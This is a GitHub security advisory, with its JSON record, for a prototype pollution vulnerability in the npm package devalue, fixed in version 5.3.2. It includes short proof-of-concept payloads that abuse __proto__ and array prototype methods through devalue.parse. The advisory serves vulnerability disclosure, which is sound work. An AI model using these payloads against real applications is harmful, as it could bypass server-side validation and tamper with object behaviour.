GHSA-VJ54-72F3-P5JV

Vulnerability from github – Published: 2025-08-26 22:33 – Updated: 2025-08-27 14:27
VLAI?
Summary
devalue prototype pollution vulnerability
Details

1. devalue.parse allows __proto__ to be set

A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:

class Vector {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  get magnitude() {
    return (this.x ** 2 + this.y ** 2) ** 0.5;
  }
}

const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;

const vector = devalue.parse(payload, {
  Vector: ([x, y]) => new Vector(x, y)
});

console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 5

2. devalue.parse allows array prototype methods to be assigned to object

In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:

devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]

devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:

const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0

This could be used by a creative attacker to bypass server-side validation.

Severity ?
7.9 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "devalue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T22:33:14Z",
    "nvd_published_at": "2025-08-26T23:15:35Z",
    "severity": "HIGH"
  },
  "details": "## 1. `devalue.parse` allows `__proto__` to be set\n\nA string passed to `devalue.parse` could represent an object with a `__proto__` property, which would assign a prototype to an object while allowing properties to be overwritten:\n\n```js\nclass Vector {\n  constructor(x, y) {\n    this.x = x;\n    this.y = y;\n  }\n\n  get magnitude() {\n    return (this.x ** 2 + this.y ** 2) ** 0.5;\n  }\n}\n\nconst payload = `[{\"x\":1,\"y\":2,\"magnitude\":3,\"__proto__\":4},3,4,\"nope\",[\"Vector\",5],[6,7],8,9]`;\n\nconst vector = devalue.parse(payload, {\n  Vector: ([x, y]) =\u003e new Vector(x, y)\n});\n\nconsole.log(\"Is vector\", vector instanceof Vector); // true\nconsole.log(vector.x) // 3\nconsole.log(vector.y) // 4\nconsole.log(vector.magnitude); // \"nope\" instead of 5\n```\n\n## 2. `devalue.parse` allows array prototype methods to be assigned to object\n\nIn a payload constructed with `devalue.stringify`, values are represented as array indices, where the array contains the \u0027hydrated\u0027 values:\n\n```js\ndevalue.stringify({ message: \u0027hello\u0027 }); // [{\"message\":1},\"hello\"]\n```\n\n`devalue.parse` does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:\n\n```js\nconst object = devalue.parse(\u0027[{\"toString\":\"push\"}]\u0027);\nobject.toString(); // 0\n```\n\nThis could be used by a creative attacker to bypass server-side validation.",
  "id": "GHSA-vj54-72f3-p5jv",
  "modified": "2025-08-27T14:27:08Z",
  "published": "2025-08-26T22:33:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-vj54-72f3-p5jv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57820"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/0623a47c9555b639c03ff1baea82951b2d9d1132"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/devalue"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "devalue prototype pollution vulnerability"
}


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